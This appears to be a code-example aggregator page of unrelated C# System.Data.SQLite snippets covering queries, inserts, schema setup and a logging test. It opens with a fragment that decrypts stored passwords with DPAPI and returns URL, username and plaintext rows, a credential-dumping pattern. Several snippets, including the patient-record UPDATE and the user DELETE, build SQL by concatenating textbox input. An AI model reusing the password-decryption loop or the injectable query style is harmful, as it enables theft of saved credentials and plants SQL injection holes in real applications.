
                            var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser); // расшифровка паролей
                            var plainText   = Encoding.ASCII.GetString(decodedData);

                            yield return(Tuple.Create(reader.GetString(2), reader.GetString(1), plainText));
                        }
                    }
                    conn.Close();
                }
        }
 /// <summary>
 /// 执行sql集
 /// </summary>
 /// <param name="sqls">要执行sql集</param>
 public static void ExecuteNonQuery(string conn, List <string> sqls)
 {
     using (System.Data.SQLite.SQLiteConnection Conn = new System.Data.SQLite.SQLiteConnection(conn))
     {
         Conn.Open();
         using (System.Data.SQLite.SQLiteTransaction transaction = Conn.BeginTransaction())
         {
             using (System.Data.SQLite.SQLiteCommand command = Conn.CreateCommand())
             {
                 try
                 {
                     foreach (string sql in sqls)
                     {
                         command.CommandText = sql;
                         command.ExecuteNonQuery();
                     }
                     transaction.Commit();
                 }
                 catch (Exception ex)
                 {
                     transaction.Rollback();
                     throw ex;
                 }
             }
         }
         Conn.Close();
     }
 }
示例#38
0
        public List <String> checkProjects()
        {
            List <String> list = new List <String>();

            using (System.Data.SQLite.SQLiteConnection con = new System.Data.SQLite.SQLiteConnection("data source=databaseFile.db3"))
            {
                using (System.Data.SQLite.SQLiteCommand com = new System.Data.SQLite.SQLiteCommand(con))
                {
                    con.Open();

                    com.CommandText = "Select * FROM LASTPROJECTS";

                    using (System.Data.SQLite.SQLiteDataReader reader = com.ExecuteReader())
                    {
                        while (reader.Read())
                        {
                            Console.WriteLine(reader["address"]);

                            if (!File.Exists(reader["address"].ToString()))
                            {
                                list.Add(reader["address"].ToString());
                            }
                        }
                    }
                    con.Close();
                }
            }
            if (list.Count > 0)
            {
                removeProject(list);
            }

            return(getLastProjects());
        }
示例#39
0
        /// <summary>
        /// 是否能连接
        /// </summary>
        /// <returns></returns>
        public bool TestConnectionion()
        {
            System.Data.Common.DbConnection connection = null;
            try
            {
                switch (this.DBTypeSelectIndex)
                {
                case 0:
                    connection = new MySql.Data.MySqlClient.MySqlConnection(this.ConnectionString);
                    break;

                case 1:
                    connection = new System.Data.SqlClient.SqlConnection(this.ConnectionString);
                    break;

                case 2:
                    connection = new System.Data.SQLite.SQLiteConnection(this.ConnectionString);
                    break;
                }

                connection.Open();
                return(true);
            }
            catch
            {
                return(false);
            }
            finally
            {
                if (connection != null && connection.State != System.Data.ConnectionState.Closed)
                {
                    connection.Close();
                }
            }
        }
        private string[] loadScenarioArraySqlite()
        {
            //
            //OPEN CONNECTION TO DB FILE CONTAINING PROCESSOR SCENARIO TABLE
            //
            //scenario mdb connection
            string strProcessorScenarioDB =
                frmMain.g_oFrmMain.frmProject.uc_project1.txtRootDirectory.Text.Trim() +
                "\\processor\\" + Tables.ProcessorScenarioRuleDefinitions.DefaultSqliteDbFile;

            //
            //get a list of all the scenarios
            //
            SQLite.ADO.DataMgr dataMgr          = new SQLite.ADO.DataMgr();
            string             strConn          = dataMgr.GetConnectionString(strProcessorScenarioDB);
            IList <string>     lstScenarioArray = null;

            using (System.Data.SQLite.SQLiteConnection oConn = new System.Data.SQLite.SQLiteConnection(strConn))
            {
                oConn.Open();
                lstScenarioArray = dataMgr.getStringList(oConn,
                                                         "SELECT scenario_id " +
                                                         "FROM scenario " +
                                                         "WHERE scenario_id IS NOT NULL AND " +
                                                         "LENGTH(TRIM(scenario_id)) > 0");
            }
            return(lstScenarioArray.ToArray());
        }
示例#41
0
 private void btn_elimina_Click(object sender, EventArgs e)
 {
     if (!tb_NomeDel.Text.Equals("") && !tb_pswDel.Equals(""))
     {
         using (System.Data.SQLite.SQLiteConnection conn = new System.Data.SQLite.SQLiteConnection("data source=gestionalePalestra.db"))
         {
             using (System.Data.SQLite.SQLiteCommand cmd = new System.Data.SQLite.SQLiteCommand(conn))
             {
                 conn.Open();
                 string command = "DELETE FROM User WHERE Username='******'";
                 cmd.CommandText = command;
                 cmd.ExecuteNonQuery();
                 //MessageBox.Show(command);
                 MessageBox.Show("Elemento eliminato con successo!", "Eliminazione avvenuta");
                 conn.Close();
             }
         }
         LoadComboBox();
         lockGroupBox();
     }
     else
     {
         PrintError(1);
     }
 }
示例#42
0
        public List<String> getLastProjects()
        {
            List<String> list = new List<String>();
            using (System.Data.SQLite.SQLiteConnection con = new System.Data.SQLite.SQLiteConnection("data source=databaseFile.db3"))
            {
                using (System.Data.SQLite.SQLiteCommand com = new System.Data.SQLite.SQLiteCommand(con))
                {
                    con.Open();

                    com.CommandText = "Select * FROM LASTPROJECTS";

                    using (System.Data.SQLite.SQLiteDataReader reader = com.ExecuteReader())
                    {
                        while (reader.Read())
                        {
                            Console.WriteLine(reader["address"]);

                           list.Add(reader["address"].ToString());
                        }
                    }
                    con.Close();
                }
            }
            return list;
        }
示例#43
0
        public List <AccountVerticalData> GetAccountQuarterWiseData(string Month, string Year, string AccountName)
        {
            List <Account> accountList = new List <Account>();
            Account        account;

            try
            {
                using (System.Data.SQLite.SQLiteConnection con = new System.Data.SQLite.SQLiteConnection(Class1.databasestring))
                {
                    using (System.Data.SQLite.SQLiteCommand com = new System.Data.SQLite.SQLiteCommand(con))
                    {
                        con.Open();                                                                        // Open the connection to the database
                        com.CommandText = "Select AccountID,AccountName,AccountDescription FROM Accounts"; // Select all rows from our database table
                        using (System.Data.SQLite.SQLiteDataReader reader = com.ExecuteReader())
                        {
                            while (reader.Read())
                            {
                                account                    = new Account();
                                account.AccountID          = Convert.ToInt32(reader["AccountID"]);
                                account.AccountName        = Convert.ToString(reader["AccountName"]);
                                account.AccountDescription = Convert.ToString(reader["AccountDescription"]);
                                accountList.Add(account);
                            }
                        }
                        con.Close();        // Close the connection to the database
                    }
                }
                return(accountList);
            }
            catch (Exception ex)
            {
                return(null);
            }
        }
示例#44
0
        static void Main1(string[] args)
        {
            string datasource = "test.db";

            System.Data.SQLite.SQLiteConnection.CreateFile(datasource);

            //连接数据库

            System.Data.SQLite.SQLiteConnection conn = new System.Data.SQLite.SQLiteConnection();

            System.Data.SQLite.SQLiteConnectionStringBuilder connstr =

                new System.Data.SQLite.SQLiteConnectionStringBuilder();

            connstr.DataSource = datasource;

            connstr.Password = "******";//设置密码,SQLite ADO.NET实现了数据库密码保护
            Console.WriteLine(connstr.ToString());
            conn.ConnectionString = connstr.ToString();

            conn.Open();

            //创建表

            System.Data.SQLite.SQLiteCommand cmd = new System.Data.SQLite.SQLiteCommand();

            string sql = "CREATE TABLE test(username varchar(20),password varchar(20))";

            cmd.CommandText = sql;

            cmd.Connection = conn;

            cmd.ExecuteNonQuery();

            //插入数据

            sql = "INSERT INTO test VALUES('dotnetthink','mypassword')";

            cmd.CommandText = sql;

            cmd.ExecuteNonQuery();

            //取出数据

            sql = "SELECT * FROM test";

            cmd.CommandText = sql;

            System.Data.SQLite.SQLiteDataReader reader = cmd.ExecuteReader();

            StringBuilder sb = new StringBuilder();

            while (reader.Read())
            {
                sb.Append("username:"******"\n").Append("password:").Append(reader.GetString(1));

            }
            Console.WriteLine(sb.ToString());
        }
示例#45
0
        public void Command()
        {
            using (var conn = new System.Data.SQLite.SQLiteConnection("Data Source=:memory:"))
            {
                conn.Open();

                using (var command = new LoggingCommand(new System.Data.SQLite.SQLiteCommand()))
                {
                    command.CommandText = "select 1";
                    Assert.Throws<InvalidOperationException>(() => command.ExecuteReader());
                    Assert.Equal(LogLevel.Error, logger.Last.Level);
                    Assert.Equal(@"クエリ実行に失敗
            --- SQLiteCommand ---
            CommandTimeout   = 30
            CommandType      = Text
            UpdatedRowSource = None
            --- CommandText ---
            select 1
            --- Parameters ---
            ", logger.Last.Message);

                    command.Connection = conn;
                    using (var reader = command.ExecuteReader())
                    {
                        Assert.Equal(LogLevel.Trace, logger.Last.Level);
                        Assert.Matches(@"ExecuteReader. 実行時間:\d\d:\d\d:\d\d\.\d+
            --- CommandText ---
            select 1
            --- Parameters ---
            ", logger.Last.Message);

                        Assert.True(reader.Read());
                        Assert.Equal((long)1, reader[0]);
                    }

                    Assert.Equal((long)1, command.ExecuteScalar());
                    Assert.Matches(@"ExecuteScalar. result=1 実行時間:\d\d:\d\d:\d\d\.\d+
            --- CommandText ---
            select 1
            --- Parameters ---
            ", logger.Last.Message);

                    command.CommandText = "select @p";
                    command.Parameters.Add(new System.Data.SQLite.SQLiteParameter("p", "abc"));
                    Assert.Equal("abc", command.ExecuteScalar());
                    Assert.Matches(@"ExecuteScalar. result=abc 実行時間:\d\d:\d\d:\d\d\.\d+
            --- CommandText ---
            select @p
            --- Parameters ---
            p\(String\)=abc
            ", logger.Last.Message);

                    Assert.IsType<System.Data.SQLite.SQLiteParameter>(command.CreateParameter());
                }
                Assert.Equal("コマンドが破棄(Dispose)されました。", logger.Last.Message);
            }
        }
示例#46
0
        public static void ContribSelectData(UserId id)
        {
            using (var connection = new System.Data.SQLite.SQLiteConnection(cnStr))
            {
                connection.Open();
                var data = connection.Get<Poco.Users>(id);

                System.Diagnostics.Debug.Assert(id.Equals(data.Id));
            }
        }
示例#47
0
        public static void DumpOpcodes()
        {
            var files = System.IO.Directory.GetFiles(@"E:\HFS\WOWDEV\SNIFFS_CLEAN\", "*.sqlite", System.IO.SearchOption.AllDirectories).OrderBy(t => t);

            var versionOpcodeList = new System.Collections.Generic.SortedList<uint, ClientBuildCache>();

            foreach (var file in files)
            {
                uint clientBuild = 0;

                using (var con = new System.Data.SQLite.SQLiteConnection("Data Source=" + file))
                {
                    con.Open();
                    using (var sqlcommand = con.CreateCommand())
                    {
                        sqlcommand.CommandText = "select key, value from header where key = 'clientBuild'";
                        var reader = sqlcommand.ExecuteReader();

                        while (reader.Read())
                        {
                            clientBuild = (uint)reader.GetInt32(1);
                            break;
                        }
                    }

                    if (!versionOpcodeList.ContainsKey(clientBuild))
                    {
                        versionOpcodeList.Add(clientBuild, new ClientBuildCache() { ClientBuild = clientBuild, OpcodeList = new List<OpcodeCache>() });
                    }

                    var clientBuildOpcodes = versionOpcodeList[clientBuild];

                    using (var sqlcommand = con.CreateCommand())
                    {
                        sqlcommand.CommandText = "select distinct opcode, direction from packets order by opcode , direction";
                        var reader = sqlcommand.ExecuteReader();

                        while (reader.Read())
                        {
                            var opcode = (uint)reader.GetInt32(0);
                            var direction = (byte)reader.GetInt32(1);

                            if (!clientBuildOpcodes.OpcodeList.Exists(t => t.Opcode == opcode && t.Direction == direction))
                                clientBuildOpcodes.OpcodeList.Add(new OpcodeCache() { Direction = direction, Opcode = opcode });
                        }
                    }

                    con.Close();
                }
            }

            var clientBuildOpcodeList = versionOpcodeList.Select(t => t.Value).ToList();

            clientBuildOpcodeList.SaveObject("clientBuildOpcodeList.xml");
        }
示例#48
0
        public static void SelectData(UserId id)
        {
            using (var connection = new System.Data.SQLite.SQLiteConnection(cnStr))
            {
                connection.Open();
                var data = connection.Query<Poco.Users>("SELECT * FROM Users WHERE Id = @Id",
                    new  { Id = id }).FirstOrDefault();

                System.Diagnostics.Debug.Assert(id.Equals(data.Id));
            }
        }
示例#49
0
 private Connection()
 {
     if (!System.IO.File.Exists(DB_FILE))
     {
         System.Data.SQLite.SQLiteConnection.CreateFile(DB_FILE);
     }
     
     sqliteConnection = new System.Data.SQLite.SQLiteConnection($"Data Source={DB_FILE};Version=3;Password={PASSWORD};");
     sqliteConnection.Open();
     var sql = "CREATE TABLE torrents (tag VARCHAR(20), url VARCHAR(255), name VARCHAR(255), added DATETIME)";
     var command = new System.Data.SQLite.SQLiteCommand(sql, sqliteConnection);
     command.ExecuteNonQuery();
 }
示例#50
0
 public void AddNewClass(ClassModel clazz)
 {
     using (var connection = new System.Data.SQLite.SQLiteConnection(this.connString))
     {
         connection.Open();
         using (var cmd = connection.CreateCommand())
         {
             cmd.CommandText = "INSERT INTO Classes (ClassId, ClassName) VALUES(@Id, @Name)";
             cmd.Parameters.AddWithValue("@Id", clazz.Id);
             cmd.Parameters.AddWithValue("@Name", clazz.Name);
             cmd.ExecuteNonQuery();
         }
     }
 }
示例#51
0
        public DataBase()
        {
            string dbPath = @"Database.db";

            if (!System.IO.File.Exists(dbPath))
                System.IO.File.Copy("Database_New.db", dbPath, false);

            sqlConnection = new System.Data.SQLite.SQLiteConnection( "Data Source=" +  dbPath);
            sqlCommand = new System.Data.SQLite.SQLiteCommand(sqlConnection);

            sqlConnection.Open();

            VersionUpdate();
        }
示例#52
0
        public override void EnsureSharedConnectionConfigured()
        {
            if (Connection != null) return;

            lock (_syncRoot)
            {

            #if DNXCORE50
                Connection = new Microsoft.Data.Sqlite.SqliteConnection(ConnectionString);
            #else
                Connection = new System.Data.SQLite.SQLiteConnection(ConnectionString);
            #endif
                Connection.Open();
            }
        }
示例#53
0
        private static UserId InsertData()
        {
            var id = new UserId("Abc12c");
            using (var connection = new System.Data.SQLite.SQLiteConnection(cnStr))
            {
                connection.Open();
                connection.Execute("INSERT INTO Users (Id, Age, Name) VALUES (@Id, @Age, @Name)",
                    new {
                        Age = 31,
                        Id = id,
                        Name = "Peter Gill"
                    });
            }

            return id;
        }
示例#54
0
        private static UserId ContribInsertData()
        {
            var id = new UserId("Abc12c");
            using (var connection = new System.Data.SQLite.SQLiteConnection(cnStr))
            {
                connection.Open();
                connection.Insert(new Poco.Users()
                    {
                        Age = 31,
                        Id = id,
                        Name = "Peter Gill"
                    });
            }

            return id;
        }
示例#55
0
 private static IDbConnection GetDatabaseConnectionSDS(string cs)
 {
     var rv = new System.Data.SQLite.SQLiteConnection(cs);
       if (rv == null) {
     throw new ArgumentException("no connection");
       }
       rv.Open();
       if (clearPool == null) {
     clearPool = conn =>
     {
       System.Data.SQLite.SQLiteConnection.ClearPool(
     conn as System.Data.SQLite.SQLiteConnection);
     };
       }
       return rv;
 }
示例#56
0
        public SQLiteConnection GetOpenConnection()
        {
            if (conn != null)
            {
                conn.Open();
                return conn;
            }

            // Create our connection
            bool exists = File.Exists(dbFileName);

            if (!exists) SQLiteConnection.CreateFile(dbFileName);

            conn = new SQLiteConnection("DbLinqProvider=SQLite;Data Source=" + dbFileName + ";Foreign Keys=true;");

            conn.Open();
            return conn;
        }
示例#57
0
        private void button1_Click_1(object sender, EventArgs e)
        {
            bool edadp = textBox2.Text.All(Char.IsNumber);
            float pesov;
            bool pesop = float.TryParse(textBox6.Text, out pesov);
            if (textBox1.Text != "" && textBox2.Text != "" && textBox3.Text != "" && textBox4.Text != "" && textBox5.Text != "" && textBox6.Text != "" && textBox7.Text != "" && textBox8.Text != "" && textBox9.Text != "" && textBox10.Text != "" && textBox11.Text != "" && textBox12.Text != "" && textBox13.Text != "" && textBox14.Text != "" && textBox15.Text != "" && textBox16.Text != "" && textBox17.Text != "" && textBox18.Text != "" && textBox19.Text != "" && textBox20.Text != "" && textBox21.Text != "" && textBox22.Text != "")
            {
                if (edadp == true)
                {
                    if (pesop == true)
                    {
                        string appPath = Path.GetDirectoryName(Application.ExecutablePath);
                        System.Data.SQLite.SQLiteConnection sqlConnection1 =
                                               new System.Data.SQLite.SQLiteConnection(@"Data Source=" + appPath + @"\EXCL.s3db ;Version=3;");

                        System.Data.SQLite.SQLiteCommand cmd = new System.Data.SQLite.SQLiteCommand();
                        cmd.CommandType = System.Data.CommandType.Text;
                        //comando sql para insercion
                        cmd.CommandText = "UPDATE Expediente Set Nombre = '" + textBox1.Text + "' , Sexo = '" + comboBox1.Text + "', Edad = '" + textBox2.Text + "', Ocupacion = '" + textBox4.Text + "', Estadocivil = '" + comboBox2.Text + "', Religion = '" + textBox3.Text + "', TA = '" + textBox5.Text + "', Peso = '" + textBox6.Text + "', Tema = '" + textBox7.Text + "',FC = '" + textBox8.Text + "', FR = '" + textBox9.Text + "', EnfermedadesFamiliares = '" + textBox10.Text + "', AreaAfectada = '" + comboBox3.Text + "', Antecedentes = '" + textBox11.Text + "', Habitos = '"+textBox13.Text+"', GPAC = '"+comboBox4.Text+"', FUMFUP = '"+comboBox5.Text+"', Motivo = '"+textBox14.Text+"', CuadroClinico = '"+textBox15.Text+"', ID = '"+textBox16.Text+"', EstudiosSolicitados = '"+textBox17.Text+"', TX = '"+textBox18.Text+"', PX = '"+textBox19.Text+"', Doctor = '"+textBox20.Text+"', CP = '"+textBox21.Text+"', SSA = '"+textBox22.Text+"' Where Folio =" + foliom + "";

                        cmd.Connection = sqlConnection1;

                        sqlConnection1.Open();
                        cmd.ExecuteNonQuery();

                        sqlConnection1.Close();
                        this.Close();

                    }
                    else
                    {
                        MessageBox.Show("Solo introduzca numeros en el peso", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    }
                }
                else
                {
                    MessageBox.Show("Solo introduzca numeros en la edad", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                }
            }
            else
            {
                MessageBox.Show("Ha dejado campos en blanco", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }
示例#58
0
        //uzytkownicy
        public void AddNewStudent(StudentModel user)
        {
            var student = user as StudentModel;
            using (var connection = new System.Data.SQLite.SQLiteConnection(this.connString))
            {
                connection.Open();
                using (var cmd = connection.CreateCommand())
                {
                    cmd.CommandText = @"INSERT INTO Students (Name, Surname, Gender, ClassId)
                        VALUES (@name, @surname, @gender, @classId)";
                    cmd.Parameters.AddWithValue("@name", user.Name);
                    cmd.Parameters.AddWithValue("@surname", user.Surname);
                    int gen = (user.Gender)? 1 : 0;
                    cmd.Parameters.AddWithValue("@gender", gen);
                    cmd.Parameters.AddWithValue("@classId", student != null ? (object)student.Class.Id : DBNull.Value);
                    cmd.ExecuteNonQuery();

                }
            }
        }
        /// <summary>
        /// Used for testing purposes - destroys and recreates the SQLITE file with needed tables.
        /// </summary>
        /// <param name="extraTablesToCreate">The Extra Tables To Create.</param>
        public void RecreateDatabase(params string[] extraTablesToCreate)
        {
            var path = ConnectionString.Replace("Data Source = ", string.Empty); // hacky

            if (File.Exists(path))
            {
                File.Delete(path);
            }

            using (var cnn = new System.Data.SQLite.SQLiteConnection(MvcApplication.ConnectionString))
            {
                cnn.Open();

                // we need some tiny mods to allow sqlite support 
                foreach (var sql in TableCreationScripts.Union(extraTablesToCreate))
                {
                    cnn.Execute(sql);
                }
            }
        }
示例#60
0
        protected void Application_Start(object sender, EventArgs e)
        {
            InitProfilerSettings();

            var dbFile = HttpContext.Current.Server.MapPath("~/App_Data/TestMiniProfiler.sqlite");
            if (System.IO.File.Exists(dbFile))
            {
                File.Delete(dbFile);
            }

            using (var cnn = new System.Data.SQLite.SQLiteConnection(WcfCommon.ConnectionString))
            {
                cnn.Open();
                cnn.Execute("create table RouteHits(RouteName,HitCount)");
                // we need some tiny mods to allow sqlite support
                foreach (var sql in SqliteMiniProfilerStorage.TableCreationSQL)
                {
                    cnn.Execute(sql);
                }
            }
        }